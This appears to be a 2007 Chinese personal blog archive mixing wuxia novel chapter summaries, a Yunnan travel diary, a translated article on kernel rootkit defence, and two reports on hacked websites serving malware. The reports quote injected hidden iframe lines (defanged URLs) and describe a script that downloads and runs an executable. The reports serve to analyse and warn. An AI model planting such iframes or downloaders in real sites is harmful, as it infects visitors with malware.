2007年3月9日星期五

大侠狄龙子 5-2回 概要、endurer评注 会二侄赠雕点禅机白眉坐化 看神灯龙子毙母虎沈煌怜仔

第 五 回(2)
峨顶见神灯 古寺荒崖惊恶虎
月明观异兽 寒宵煮酒话灵婴



  文麟见黄肿正往林侧无人之处走去。两雕中一只追着凶僧恶道要迎头下击,忽听左近里许一座小峰之上发出的一声长啸,一声怒啸,与另一雕往后山金顶一面飞去。沈煌看出雕上的人是狄龙子。
  小和尚说简师叔正受师责,不能出手。凶僧是被小和尚放在洞口的乃师飞侠白眉子桫椤杖吓走。
  乃师飞侠白眉子原是隐居北天山的剑侠,与大师伯白眉禅师乃同胞弟兄。白眉禅师七八岁便被高僧度去收为弟子。白眉子连经白眉禅师四次度化方始归入佛门。三十年前在秦岭深山之中途遇凶僧、恶道行凶害人,出手擒住,问出云南石虎山有一神僧,相貌同白眉子一样,也叫白眉和尚。与白眉禅师赶往云南寻访途中,在贵州道上遇见简冰如,结伴同往,到了石虎山。被阿童拦住。冰如半夜失踪,第二天骑白雕带两黑雕回。两黑雕由白眉禅师收养。第三日半夜,三人同骑上山相见。才知白眉和尚是是幼年抚养自己的伯父。白眉和尚见白眉禅师禅修灵悟,白眉子归入佛门,大为嘉勉,指点了几句禅机,便即安然坐化。冰如武功惊人,举世无双,并还精通剑术,沈煌不久便可成就。
  又说雷四先生可能想收周文麟做徒弟。
  冰如现身。小和尚与沈煌约定半年之后前往寻访。
  冰如一行将近黄昏时到了舍身崖畔,二和尚持灯接引入庙。
  正看神灯,上月由北山窜来的白额虎在隔崖现身,被狄龙子骑打。
  冰如回说狄龙子本是龙种,天赋异禀,根骨特佳,拜黄肿道人为师第二日,师徒二人被白眉老禅师唤去在峨眉后山代办一事,得有传授,也算是个记名弟子。狄龙子发现猛虎出洞觅食,打瞎一只虎目,被虎驮往黑龙冈那面,那虎必被龙子打死。
  次早,冰如友人门下守山灵猿后山老猿,唤几个同类大猿代冰如一行搬运行李。
  一只狗一般大的小虎朝着可能是狄龙子昨晚打死的虎怀中乱撞,不住哀鸣,怒吼扑向沈煌。被沈煌双手抓紧颈皮。冰如朝着虎头摸按了两下便驯服下来,口中呜呜,似有乞怜之状,与沈煌亲热,尾随不去。
  沈煌欲带往后山喂养,暗朝文麟努嘴示意,请代求说。


endurer评注


  原来前书所记两黑雕并非佛奴、钢羽,而是它们的后代。送与英琼的钢羽原来是雌雕
/---
简师伯骑了一只白雕,后随两黑雕,同自空中飞下,见面一问,只说昨夜洞口望雪,被白雕飞来接去,师祖并未见到,因听阿童说起,当初白雕也是黑色,雌雄一双,雌雕早已送人,这两只小黑雕乃它所生。白雕听经多年,羽毛已变白色,深通灵性,日内便随禅师化去。
---/
  前书所记“白眉老禅师”并非《蜀山剑侠传》中的白眉和尚,而是其侄。
  狄龙子居然“本是龙种”。
  失去母亲的小老虎煞是可怜……


  [人]黄肿道人:一身材臃肿的肥胖道人,穿着一件黄葛布道袍,手持一根茶杯粗细的竹杖


  [人]简冰如:自从终南山独劈七十三名盗党之后便受师责,三年之内,无论遇什横逆之事,均不许和人动手……原是一位前辈剑侠,为峨眉派中能手,为了昔年杀戒犯得大多,夙孽又重,被罚隐迹人间,以常人行道;本来功行已快圆满,又因独斗群凶,连杀好了几十个,误犯师门戒条,这数年内,任受欺凌,不许再开杀戒。无如生性疾恶,老改不掉,这类事不知犯过多少次。其实他老人家日夕想念的恩师早已不在人间,每次受罚,均是事后回省,自知犯过,按照师父规条,向空跪祝,供吐罪状,如法严处,并非真个奉有严命……数十年来形貌未变……武功惊人,举世无双,并还精通剑术,好些神奇之处,只是他老人家隐迹风尘,阅历已深,不肯显露罢了。


  [人]飞侠白眉子:原是隐居北天山的一位剑侠,与大师伯白眉禅师乃同胞弟兄。弟兄都是生具异禀神力,从小便能手捉飞鸟生擒猛兽,又都生就白眉异相。我师父眉毛更长,由两眼角左右斜挂,一直垂到口旁,对敌发威之时,钢针也似根根倒立。壮年在南北天山一带,飞侠白眉子之名无人不知,那盗贼恶人死在他手下的不知多少。因是幼丧父母,师伯从小好道,七八岁上便被一高僧度去,收为弟子,弟兄分别将近五十年才得相见。师父连经师伯四次度化方始归入佛门,初出家十余年内,虽然勤修佛法,操行清苦,但他天性义侠,遇见不平和极恶穷凶之徒仍喜出手,后经师伯(白眉禅师)苦劝,才在各地名山结茅清修,往往一坐禅关便是经年,极少预闻外事。他和简师伯(冰如)原是昔年至交……所持橄锣杖乃星宿海西昆仑绝顶所产,看似一根木仗,实则比钢铁还坚,原是千年神木所制。……昔年娶一侠女,生有三子,妻死之后,又被师伯(白眉禅师)度入佛门……近来功行日深,日后禅关一坐便两三年以上


  [杖]橄锣杖:乃星宿海西昆仑绝顶所产,看似一根木仗,实则比钢铁还坚,原是千年神木所制。


  [人]白眉禅师:从小好道,七八岁上便被一高僧度去,收为弟子……禅修灵悟……早修禅悟,佛法甚高,对于后辈,最喜提携


  [人]白眉和尚:云南石虎山有一神僧,同师父(飞侠白眉子)长得一样,也叫白眉和尚……是位神僧,得道多年,并还与简师伯相识。……原是你二人(白眉禅师、飞侠白眉子)的伯父,本来功行早已圆满,只为昔年救了二十多个有根器的少年男女,发上宏愿,另代他们解消前孽,重又留滞人间两甲子,再有数日便要坐化。……从小信佛,早有出家之想


  [人]阿童:少年和尚……年纪至多十七八岁


  [山]云南石虎山:那山高出云天,半山以上,终年云雾冰雪封闭不开,多高武功也难上去


  [禽]黑雕:当初白雕也是黑色,雌雄一双,雌雕早已送人,这两只小黑雕乃它所生。……野性难驯……颇有灵性,如由师伯收养,见是老恩主的侄儿,必能驯服,以后深山苦修,仗以护法,也有许多用处,……师伯(白眉禅师)和那老小三雕好似本来相识,亲热非常,二黑雕便不再离去,自能求食,又是从来茹素,无须操心。


  [禽]玉奴:当初白雕也是黑色……白雕听经多年,羽毛已变白色,深通灵性,日内便随禅师化去。


  [人]小和尚:飞侠白眉子弟子,年纪不大……说话却是彬彬有礼……貌虽丑怪,灵慧绝伦


  [人]雷四先生:是个杀人不眨眼的魔王,江湖上人个个害怕,叫他凶神恶煞,多厉害的贼党也闻名丧胆,望影而逃,像周老师这类文人,多半不甚投机……照例他老人家看人极少顺眼……也许雷四先生想收周老师做徒弟吧……有一样独门功夫


  [人]周文麟:这双眼睛,照着平日耳闻,如肯习武,必有成就,


  [景]峨眉神灯:初出现时宛如三五点较大萤火,在半山之间明灭闪动,一会渐多起来,晃眼之间满山皆火,宛如千万点明星浮沉往来,缓缓移动,立成奇观。


  [人]狄龙子:此子之母无夫而孕;本是龙种,禀赋甚为奇异,自来身轻力大,又精水性,从小便能在水面上踏波飞驰,并在水中睁目捉鱼,多远都能看到,多险恶的水势他也不怕。三四岁上被我(冰如)无心发现,知其天赋异禀,根骨特佳,本想收到门下,无如此于性情太刚,须要磨折一番才能成器。前年我又发现此子天性至孝,和徒儿一样,越觉埋没可惜。我知他年纪越大性情越暴,我为生性疾恶,屡犯师门戒条,至今留滞人间,恐其桀骜不驯,日后惹祸,我也连带受累,为此迟疑。谁知此子福缘深厚,又有眼力,不知怎的,被他看破我的行藏,始而对我苦缠不舍;经我屡次试探考查,觉他性虽刚暴,人却聪明诚厚,


  [地]峨眉黑龙冈:当地是片平冈,下有旷野


  [猿]峨眉猿猴:多是岁久通灵之物,最难驯伏


  [山]峨眉山:近顶一带,地势高寒,平日便多云雾。


旧雨楼·还珠楼主《大侠狄龙子》 全文

2007春节云南行——夜访藏民家

  吃罢晚饭,出发去藏民家。19:30到达。
  在院子里,有藏家的兄弟姐妹唱歌迎候,他们有的手上捧着哈达,有的手中端着盛有酒杯的盘。




  一位MM卓玛为我们献上洁白的哈达……要记得说声“扎西德勒”(藏语,意为吉祥如意,也有人记作“抓西特勒”)。
  在楼梯口,有位藏族帅哥扎西托着青稞酒相候。导游卓玛说,进藏民家要喝三杯酒,如果不喝,就要用中指、食指和拇指把酒花弹向空中,以示对藏家的尊敬。


  沿木制的楼梯上到二楼,进入大厅,灯火通明,十分宽敞,四面都有几排长条桌椅,其中北,南,东面都已经坐满了,我们坐在西面。



  桌上已经摆有酥油茶,奶酪,炒青稞,青稞面,青稞酒,白糖。
  晚会主持、一位穿着一身典型的藏族服装的中年扎西,首先致词敬酒,不喝酒的可以喝酥油茶(这是偶说的,不是导游卓玛说的,呵呵)。
  喝酥油茶需要注意的有:
  1、起先斟茶时主人并不将茶碗倒满,客人喝过一口后,主人才可斟满,以表示主人大方、不吝啬。
  3、客人饮茶后,主人会很快添上,除非客人以手盖碗表示不能再饮为止。
  3、客人告辞时,茶碗里的茶不能全喝完,表示对主人的尊敬。
  这位扎西的声音也富有情感,主持词是经过了精心的准备的,很快就把我们这些客人的热情调动了起来。
  在院子里为我们献上洁白的哈达的卓玛首先登场演唱《青藏高原》,音高得惊人……我第一次听到这么高的音……




  偶们团里一个帅哥立即上去献哈达,被主持扎西截住,被卓玛灌了三大杯酒,最后再来一次交杯酒。
  我们边吃边看。喝的酥油茶味道不错,就是茶味淡了一些。
  奶酪是酸的……
  炒青稞还错……
  把青稞面放到酥油茶里搓成团,吃起来像绿豆糕……
  接下来的歌舞都是这位几位帅气的扎西和美丽的卓玛表演,古老神秘的旋律,高昂美妙的歌声,优美奔放的舞蹈,无不散发出浓厚的真诚和热情,让我们情不自禁地连续鼓掌,用脚猛踏地板(当地传统,客人如果能把主人家地板踏穿,主人会高兴地送一头牛给客人……我们团里有位小朋友大概太投入,用力过猛,第二天喊脚疼),同时大喊亚xuo(藏语,“好”之意)、“炸厕所,炸厕所,炸了七八所”(藏语,原音为“扎西xuo扎西xuo扎了西吧xuo”,意为“吉祥吉祥再吉祥”)、“用厕所,用厕所,用了撬把锁”(藏语,发音为“用岔xuo用岔xuo用了巧罢xuo”,意为“如意如意再如意”,也有人记为“用厕所,用厕所,用了加把锁”[在云南,很多厕所是收费的,所以我们交钱上完了要锁起来] 或 “用厕所,用厕所,用了七八次”[在香格里拉,海拔高,沸点低,东西可能煮不熟,吃了拉肚子]),把旅途劳顿抛到了九霄云外。


  团里有几位帅哥可能以前来过,特别准备了一些小气球,吹涨后再打爆,真的“炸厕所”了……



  几位扎西GG十分投入,动作十分舒展,挥发出高原辽阔的草原所具有的豪气,加上那飘扬的长头,让他们显示着别样的练达和粗犷。
  在PP里可以看到厅中心有一柱高大粗壮的中柱。听导游卓玛介绍,在藏民家,看哪家富裕,就要看中间这根柱子了,越粗就越显示这家的富裕。看来我们到的这一家是很富裕的了。藏民对中柱特别敬仰,视若神灵,在中柱上绑了许多哈达、柏枝,以示崇敬。


  以中柱为中心,我们应邀跳锅庄。卓玛们和扎西们围着中柱分别手拉手围成一圈,卓玛圈在内,扎西圈在外,绕着中柱左七步,右七步……图热闹


  跳完锅庄,我们的烤全牛、烤全羊上来了,红通通的,看起来不错……不过吃起来没有味道
  一个半小时的时间很快就过了,出了藏民家,抬头发现月亮和星星特别亮……

某县政府信息网被挂马 haha.exe

endurer 原创
2007-03-09 第1版

该信息网首页多处被加入代码:
/---
<iframe src=hxxp://www.ma***p*l**etang.com/bbs/jpg.htm width=0 height=0></iframe>
<iframe src=hxxp://www.ma***p*l**etang.com/bbs/gif.htm width=0 height=0></iframe>
---/

hxxp://www.ma***p*l**etang.com/bbs/gif.htm 包含VBScript代码,功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 haha.exe,保存为 %temp%/~temp351.exe,并利用Shell.Application 对象Q 的 ShellExecute 方法 来运行。

网页中还包含字符串“黑吧专用网马生成器”及一个QQ号码。

haha.exe可能已不存在,无法下载。

hxxp://www.ma***p*l**etang.com/bbs/jpg.htm
不存在。

2007年3月8日星期四

[译]抵御内核恶意软件

Defend against kernel malware
抵御内核恶意软件


《endurer注:1。Defend against:抵御(为...申辩)》



Kernel malware, commonly known as rootkits, are malicious applications that run in the kernel of the OS with absolute rights to system resources. End user devices infected with this type of application are open to undetectable processes that can steal data, collect PII, and otherwise control the system regardless of the presence of any anti-virus or personal firewall software.


内核恶意软件,通常称为rootkits,是在操作系统的内核中运行,对系统资源有绝对权力的恶意应用程序。感染这类应用程序的最终用户设备打开不能检测的进程,可以偷窃数据,收集PII(personally identifiable information,个人可标识信息),及不为存在着的一些抗病毒或个人防火墙软件察觉地控制系统。


《endurer注:1。and otherwise:pron. 及其他(等等)
2。regardless of: 不顾,不惜》


How kernel malware works
内核恶意软件如何工作

According to Kimmo Kasslin at F-Secure, there are two types of kernel malware infections in Microsoft Windows environments: full-kernel and semi-kernel (“Kernel Malware: The Attack from Within”, 2006). Before jumping into a description of each, it’s important to review how Windows memory is managed from a system protection perspective. See Figure 1.


在F-Secure的Kimmo Kasslin看来,有两类内核恶意软件影响微软视窗环境:完全内核和不完全内核(“内核恶意软件: 内部攻击”, 2006)。在开始描述它们每一个之前,从系统保护的观点来研究Windows内存是如何管理的是很重要的。看图1:


《endurer注:1。semi:a.一半的,部分的,不完全的;n.二轮半拖车(挂车,双轮拖车)
2。jump into:一头扎进》




Figure 1


Windows applications run in one of two modes: kernel mode or user mode. Kernel mode applications perform tasks such as accessing hardware resources on behalf of a user application. These applications typically have privileged access to system resources. Because of this, user applications are run in user mode to protect the integrity of the operating system. User mode applications, like word processors and Internet browsers, are unable to directly access hardware or protected OS services. Rather, they must make calls to kernel libraries or drivers that ensure resource requests are executed on behalf of the user applications. This separation of processing tasks is enforced at the hardware level. Kernel malware circumvents this abstraction of privileges by running in kernel mode with direct access to all system services. In other words, it has complete control of the infected system. One attack vector is the installation of a malicious driver.


Windows应用程序运行于两种模式之一:内核模式或用户模式。内核模式应用程序为用户模式应用程序执行诸如访问硬件资源之类的任务。这些应用程序通常有系统资源访问特权。因此,用户模式应用程序在用户模式中运行,以保护操作系统完整性。用户模式应用程序,像字处理程序和Internet浏览器,不能直接访问硬件或被保护的操作系统服务。进一步说,它们必须调用内核库或驱动程序,内核库或驱动程序代表用户模式应用程序保证资源请求被执行。这种处理任务分离是硬件层强制。内核恶意软件以内核模式运行,直接访问系统服务来绕过这种特权抽取。换句话说,它具有对被感染系统的完全控制。一种攻击导向是恶意驱动程序的安装。


《endurer注:1。on behalf of:代表,为了》


Malware running in full-kernel mode performs all tasks within the kernel layer. Although it might need a little help from the user to get installed, once operational it performs its assigned tasks without further user intervention.


运行于完全内核模式的恶意软件在内核层执行所有任务。虽然它可能需要用户的些许帮助来取得安装,一旦投入运转,它会执行设定任务,无需更多用户介入。


Semi-kernel mode malware runs in both user mode and kernel mode. One method of deployment consists of placing a .dll or .exe in user mode with access to a kernel mode driver.


不完全内核模式恶意软件运行于用户模式和 内核模式。部署方式由在用户模式放置一个可以访问内核模式驱动程序的.dll 或.exe构成。


《endurer注:1。consist of: 由...组成》


According to Kasslin, there is a rise in popularity of kernel malware that coincides with the move of cyber criminals to a hacking-for-profit model. The advantage to criminals is that kernel malware is usually undetectable when using standard antivirus and antispyware applications.


在Kasslin看来,内核模式恶意软件流行上升与网络犯罪向获利黑客模式的转移吻合。罪犯的优势是内核恶意软件用标准抗病毒和抗间谍应用程序通常检测不到。


《endurer注:1。coincide with:符合(一致于,与...重合)》


Mounting a defense
装配防卫
The first line of defense is denying local administrator access to PC users. If an attacker can’t take advantage of user privileges to install kernel-based software, the level of effort required to compromise the PC might be high enough to encourage him to find a softer target. In addition, management should ensure user awareness of the dangers of clicking on unknown links and consenting to the installation of unauthorized software.


防卫的第一条是拒绝本地管理员访问电脑用户。如果攻击者不能利用用户特权安装内核软件,危害此PC所需的努力可能高到激励他寻找更软弱的目标。另外,管理员需要确保用户知道点击未知链接和同意安装未认证软件的危害。
《endurer注:1。take advantage of:利用
2。In addition:另外,加之
3。aware of:知道(察觉到,意识到)
4。consent to:赞成(同意)》


Another important control is the implementation of a personal firewall on all workstations. This can help prevent self-propagating infections from spreading. It should be coupled with a strong patch management process. Patching helps eliminate software flaws that can be used to inject malicious kernel code.


另一个重要控制是在所有工作站安装启用个人防火墙。这会有助于防止自我繁殖的感染程序传播。需要配以一个强劲的补丁程序管理程序。打补丁有助于消除软件缺陷,这些缺陷可能会被用来注入恶意内核代码。


《endurer注:1。coupled with:连同,与...一起》


Also, consider prohibiting the installation of any unsigned drivers. Installation of malicious drivers is a favorite method of placing kernel malware on target systems.


此外,安装无标注的驱动程序。安装恶意驱动程序是在目标系统中放置内核级恶意软件的最受欢迎的方法。


Please see “Mount a Rootkit Defense” for more information on this growing threat.


Please see “Mount a Rootkit Defense” for more information on this growing threat.
请看“装配Rootkit防卫”来了解关于这个正在增长的威胁的更多信息。

大侠狄龙子 5回1 概要 endurer评注 黑瘦和尚推木鱼甩钢铲 凶僧恶道闻雕鸣慌

第 五 回(1)
峨顶见神灯 古寺荒崖惊恶虎
月明观异兽 寒宵煮酒话灵婴



  船到乐山停泊,文麟、沈煌在峨眉青桫坪前山石之上坐候,文麟因恐变天,令将行李移往茅篷之中。沈煌见一个又黑又瘦的小和尚在篷中练蜻蜓点水的功夫。小和尚虚抓相戏,见沈煌神色从容,便说师父昨夜出去未归,故练蜻蜓点水的功夫和对头文比。和沈煌演戏。
  沈煌瞥见崖下走来一个背铁木鱼的和尚和一个背插铁铲的道士,正往篷前走来,便和小和尚演戏。
  小和尚蜻蜓点水的功夫上树采柑,用一块橘柑皮把相隔丈许的山石打碎一大片。
  凶僧越发骇异,想要退走。恶道问小和尚其师名字。
  小和尚双手倒握钢铲,就地上抡起,将铁木鱼中空之处竟打裂一口,凹进几寸深一个大坑,下面山石也被震碎一大片,随将铁木鱼、钢铲一推一甩,落入泥坑中。
  凶僧恶道大怒情急,双双出手。小和尚叫沈煌躲到洞中。
  凶僧踢着洞口木棍,慌忙外逃,几与由外追进的恶道撞个满怀。忽听外面雕鸣,一同往外逃去,小和尚随拉沈煌赶出。
  文麟飞步正往茅篷赶去,抬头见在温泉峡所遇两黑雕,背坐一人。凶僧伸手要推文麟,似被什东西挡了一下,往侧倒退了好几步,同时空中雕鸣更急,面容骤变,同恶道往原路崖坡下飞跑逃去。


endurer评注


  还珠楼主《云海争奇记》中童兴亦普用竹竿代步,“一个十三四岁的小孩,穿着像是中等人家读书子弟,两手各持一根六尺多长的竹竿……双脚并不沾地,行时手中竹竿往前一点,立即借劲纵出丈许远近,快要落下,第二手的竹竿又复如法施为,身子悬空平起,只凭两手微动,蜻蜓点水般不住起落,直和飞乌游鱼相似,迅速已极”,并与卢堃交手。(见第八回行波踏竹 一神童大雨戏镖师 掣电飞芒 诸剑客荒山歼巨寇)
  小和尚上树采柑一节煞是精彩。


  [山]峨眉山:峨眉本来高寒,时又暮秋,青桫坪以上草木凋零,当日云雾满山,风势又大,吹得寒林萧萧,宛如潮涌。……峨眉山上风云,一日之间阴晴百变,我等生长此地,似此天色,决不至于下雨。”


  [人]小和尚:力大如牛,最是蛮野,不喜人往惊扰……两条又黑又瘦的人腿……原来那两条人腿,乃是一个又黑又瘦的小和尚……生得又黑又瘦,猴头猴脑,活鬼也似,神情动作十分滑稽……两只猴爪一般的怪手


  [武]内家定字诀:内家专门以静制动的定字诀却下过苦功,讲究泰山崩于前而色不变,和人动手,不到兵器拳脚已快上身,相差分毫之隔,决不让避还攻


  [武]蜻蜓点水:双手各持一根两尺来长的竹棍,全身倒立,双足朝天,点地而行。


  [人]袁和尚:在峨眉青桫坪就着崖洞外搭了一座茅篷,在内清修……常年洞中打坐……洞大不过三四丈方圆,并无出口,也无一人在内,全洞空空,只当中有一蒲团,因历年大久,十分陈旧,残破不堪,蒲团侧面有一木架,上有一根黑禅杖和一个大水瓢,门口地上好似横着一根木棍,也未看清,此外空无所有


  [人]和尚:师兄,背铁木鱼……自从嵩山一败,便寒了胆似的


  [人]道士:师弟,背插铁铲


  [器]铁木鱼:那二尺方圆的铁木鱼虽非全是实心,少说重有三百来斤,……是精铁纯钢打就


  [器]日月神仙铲:纯钢打就的日月神仙铲,也有一百六十余斤之重,师兄弟二人全仗这两件东西成名,因是练就神力,横行江湖,每次上场,不必动手,便这两件随身之物,先把敌人镇住,……是精铁纯钢打就,


旧雨楼·还珠楼主《大侠狄龙子》全文

2007年3月7日星期三

大侠狄龙子 4回 概要、endurer评注 明霞除唐方放走姚人英 雷四铁木令惊退薛氏弟兄

第 四 回
雷击霆飞 百尺高竿空劈掌
离长会短 小山丛桂好谈心


  发话的是无形影铁手雷霄/雷四先生。雷四一手挟沈煌,一手提葫芦跃上山崖。
  明霞与雷四拌嘴。雷四向沈煌介绍李均父女。
  沈煌见李均执手殷勤,明霞月下娇艳,心更恋恋,不想随雷四去。
  关中九侠中的简静现身说雷老四讨人嫌。
  明霞告诉沈煌,父母不久入山,今夜事完,李均也要送自己到峨眉。
  李均说明霞的十一位伯叔,连同李家两位伯母,今夜全到,这里一会后不久便同入山。
  雷四带明霞、沈煌由山亭后面下去,绕往庄后松林之内,拜见关中九侠中的第七侠李善和慈心仙子孙询、玉芙蓉浦文珠。
  李善检查沈煌身体,说将来决可无害。
  雷四带了明霞、沈煌到广场,在大树上安顿好,朝明霞嘱咐了几句自去。
  明霞日前负气私自离家,途中见唐方手持弹弓无故将两个跑江湖卖艺的老夫妇打伤,辱骂旁人,上前评理,已将动手,李均赶来,见与二贼争论,已将动手,忙即唤住唤住赔话。
  今见唐方出场,随口笑骂。
  唐方未认出李均父女,钢镖、连珠弹、梅花飞蝗弩齐发,被敌人全数反激回来,连中数处。见姚人英纵到竿下,明霞娇叱飞落,打出双丸一镖。明霞接住反击,把唐方打了个脑浆迸裂,死于非命。
  姚人英急怒交加,手拔身后宝刀,摸出腰间羽箭刚往前纵,雷四飞来挡住去路,说为明霞和姚人英做个中证。
  姚人英震于雷四先生威名,见场上只有缪三玄和同来五六个同党与敌人一对一恶斗,已有一人横尸地上。认得临河方面站的一女四男中的简静、段漪,断定杨冲、缪三玄决无生路。
  前三年姚人英和唐方偶往北京劫一富家,隐在一株大槐树上,被段漪、简静发现,抓起盘中吃残的西瓜子,用大中二指捏住连弹,瓜子和暴雨一般朝槐树上打来,唐方横刀一挡,虎口震得生疼,刀几脱手把握不住,姚人英的头巾也被打穿一孔。简静将手一扬,也未见手上发什兵刃暗器,身旁那株粗如人臂的树枝,忽又嚓的一声断为两截。只得带愧溜走。三年后在华山脚下,见简静用所带铁萧打死两条猛恶藏犬和一个恶霸。
  雷四拉着沈煌和明霞的手走到树林深处空地之上,姚人英垂头丧气跟在后面。
  明霞拔出身旁短剑把家传八仙剑中的七禽剑法施展出来,于危机四伏中出其不意,刺伤姚人英右股,踹中后腰。姚人英急怒交加,扬手连珠打出三只小钢镖,被明霞横剑磕飞,取下腰间如意飞蝗弩朝暴雨般打去,见明霞舞起一片剑花冲入箭雨之中,将那头批几箭全行打落,掉转弩筒朝沈煌射去。被李均口中喷出的一股水箭打落。
  姚人英被突在身后出现的雷四先生一把抓起,疼得通体汗流,颤声悲号。明霞、沈煌求情,雷四放手,说三月后,明霞、沈煌全在峨眉后山白云窝左近,可以报仇。三年后各随父母入山,与关中九侠一同隐居。
  简静等男女四人寻来,说缪三玄是李善夫妻想借他引出一个隐迹多年的老贼,故意放走。
  简静对冰如想令沈煌拜在雷四门下。沈煌心恋明霞,又不肯背母行事,辜负冰如恩义,急得脸涨通红,冰如现身解围,要与简静等谈话,命明霞带煌沈煌去桂花林中相候。
  明霞与沈煌并坐,问沈煌为何不愿拜雷四为师。沈煌说母命难违,虽舍不得明霞,也只好等到将来再见。
  明霞说新师父性情古怪,不知能否与沈煌见面。要学冰如的猿公剑法。
  冰如告诉沈煌,因九侠相约入山,明霞不能同往,乃由明霞义母浦文珠引进到峨眉后山隐居的木师姑慧昙门下学习剑术。明霞和沈煌谈得投机,另有深意,稍失检点,立刻绝交。
  冰如抱沈煌回到泊船之所。
  周文麟天明醒来,见雷四由岸上走过,欲请船中款待。雷四给了铁木令(一个木球),日后有事,可拿它向人求救。
  文麟料知冰如有心作伐,决无差错。见沈煌爱根已种,暗中伤感。
  船到埠头,冰如上岸,吩咐不必等候,可在峨眉青桫坪前相待。若有人找寻,只说自己名为尹玉。
  嵩山薛氏弟兄说急带病人上路,强要搭载,见了雷四先生铁木令,不再惊扰。
  船开后,沈煌遥望薛氏弟兄与有三个彪形大仅和一年约十六八岁的少年会合谈说。


endurer评注
  威名远震的唐方居然被14岁的明霞结果了
  沈煌对明霞的爱根已种,不过按冰如所言,明霞和沈煌谈得投机,另有深意……
  明霞所要拜的师父木师姑慧昙不知是何来历?居然有只守山灵猿?令人想起《蜀山剑侠传》中英琼的通灵猩猿袁星。


endurer评注


  [宝]葫芦:两片纯钢合成,中有机簧,不用时可以折叠,沉重非常


  [人]小飞侠李明霞:关中九侠中的八仙剑李均和他第九娇女明霞,乃六十岁所娶新夫人生的第三女,故此行三,比你只大几个月,叫他三姊好了。……独这八十岁末生娇女珍如掌珠。……外表像他母亲,看似和易,实则刚而嫉恶,又颇固执……一只纤纤玉手搭在栏杆背上,春葱也似,柔若无骨,映着月光,宛如银玉,深秋天气,只穿着一件罗衫,半截皓腕露在外面,夜凉如水,翠袖单寒,由不得令人又怜又爱……年只十四,幼承家学………三岁便过继与浦文珠为义女,得服李善自制强身健力的灵药七二神丹,每日再用灵药浸体,历时一年零三个月,使其元气凝炼,体魄坚强,除尽心传授外,又强劝孙询传以梅花飞针。明霞人又聪明用功,年才九岁,便炼成一身惊人本领,到十二岁上,义父母李氏夫妻因事远行,方回自家居住。……出手颇辣……素来孝顺……收发暗器本是明霞家传绝技……生得虽极文秀,性实刚烈,休看她和你谈得投机,她却另有深意,以后再见,稍失检点,立刻与你(沈煌)绝交。


  [人]东川飞侠八剑仙李均:关中九侠之八,中等身材,书生打扮,胸前围着一条丝绦,上插八口小金剑,看年纪不过四十左右,如照雷四所说八十始生明霞,少说也在九十三四,偏是那么英俊爽朗,神态清奇。……所带八仙剑平日不露在外……人最情痴,昔年有一爱侣,历经波折,未能如愿。虽然娶有妻室,夫妻情分也极深厚,终不能忘情故剑。到六十岁上,明霞之母方始来归,与元配结为姊妹同侍一夫。


  [人]简静:关中九侠之一,穿黄衫的矮子。善吹铁萧的四川人


  [人]凌霄剑客鲁男子李善:关中九侠中的第七侠,关中九侠中第一位人物。中年男子


  [人]慈心仙子孙询:李善元配,胖的一个生得玉肤如雪,肥不露肉,仪容娴雅,气度端详,一脸和善之容……素擅(梅花)飞针绝技,百步穿杨,百发百中,从无一失,但向不传人


  [人]玉芙蓉浦文珠:李善所娶双女侠之一……瘦的一个也极温和安详,貌更美艳,最奇是身材貌相竟与明霞好些似处,也是一张鹅蛋脸,雾鬓风鬟,丰神绝世,心疑明霞之母,再细偷看,外形极似,眉目五官却各不同,……李明霞的义母……性偏固执,不好说话。……本领高强,精通剑术,与明霞之母赛隐娘石英至交姊妹


  [人]沈煌:不特真元内蕴,并且福缘根骨无不深厚,将来决可无害。


  [人]神弹子草上飞唐方:原是北五省江洋大盗……打得一手极好暗器,和一身轻功,由十六八岁起,便在北方各省横行,素来心辣手黑,遇上他的人,不死必带重伤,人又机警狡诈,因此威名远震……越发凶横骄狂,目中无人……和姚人英在北五省一向同出同进(被李明霞杀死)


  [人]小李广穿云燕姚人英:原是北五省江洋大盗……打得一手极好暗器,和一身轻功,由十六八岁起,便在北方各省横行,素来心辣手黑,遇上他的人,不死必带重伤,人又机警狡诈,因此威名远震……越发凶横骄狂,目中无人……和唐方在北五省一向同出同进……比唐方还阴险狡诈……素性狂傲,目中无人……乃沧州洗手多年老贼黄金拐的门徒,党羽甚多


  [人]赛隐娘石英:明霞之母


  [药]七二神丹:李善自制强身健力的灵药。


  [俗]纵是泥人,也有土性


  [人]无形影铁手雷霄/雷四先生:手黑心狠,疾恶如仇,只被看中,决无好死,事前再要得罪,被他点了五阴鬼脉,命固难保,还要周身酸痛麻痒,受上许多天的活罪,日夜惨号而死,一班江湖盗贼,尤其是采花好杀的人,闻名丧胆,谈虎色变,畏若恶鬼……性情古怪


  [人]段漪:关中九侠之一


  这类已近剑侠一流的少女,心地光明,看似不拘形迹,最难说话,


  [人]木师姑慧昙:年已过百,孤身一人,性情十分古怪,你如投缘,不必你去寻我,她必会令我和你常在一起,甚或将她独门越女剑法传你都在意中,否则她住那地方乃山中最高险之地,只知与舍身崖近,我也不曾去过,常人足迹万不能到,差一点的人前往,事前不曾得到她允许,去了不死必伤。她本人自然轻易不会出手,守山灵猿先放来人不过,轻则戏侮一顿,给来人吃足苦头再行放走,去的如是盗贼恶人,就能保得一命,也必残废回去。……峨眉后山隐居。……她师父更不好说话,


  [武]猿公剑法:八十三招,独步海内。冰如。


  [物]铁木令:雷四给周文麟。一个寸许大的木球,想是常年玩弄,木色已是油光水滑,


  [人]简冰如:在外行道改名尹玉,不是深交不说真名实姓


  [人]嵩山薛氏弟兄





旧雨楼·还珠楼主《大侠狄龙子》 全文

发现一个传播威金/Worm.Win32.Viking.if的网站,技术很新颖

endurer 原创


2007-03-07 第1


该网站首页包含代码:


<iframe src=hxxp://www***1.8***93**8*2.cn/5***1**.htm width=0 height=0>


hxxp://www***1.8***93**8*2.cn/5***1**.htm 包含代码:
/---
<script src=css.js></script>
---/


hxxp://www***1.8***93**8*2.cn/css.js 的内容为JavaScript程序,使用正则表达式解密代码并运行。


解密出来的代码采用JavaScript编写,功能是利用 Microsoft.XMLHTTP 和
scrīpting.FileSystemObject 下载文件 down.exe,保存为 %windir%\~tmp.tmp,并利用Shell.Application 对象Q 的 ShellExecute 方法 执行命令: %windir%\system32\cmd.exe /c %windir%\~tmp.tmp 来运行。


/---
文件说明符 : D:\test\down.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-3-7 20:22:38
修改时间 : 2007-3-7 20:23:51
访问时间 : 2007-3-7 20:25:16
大小 : 65427 字节 63.915 KB
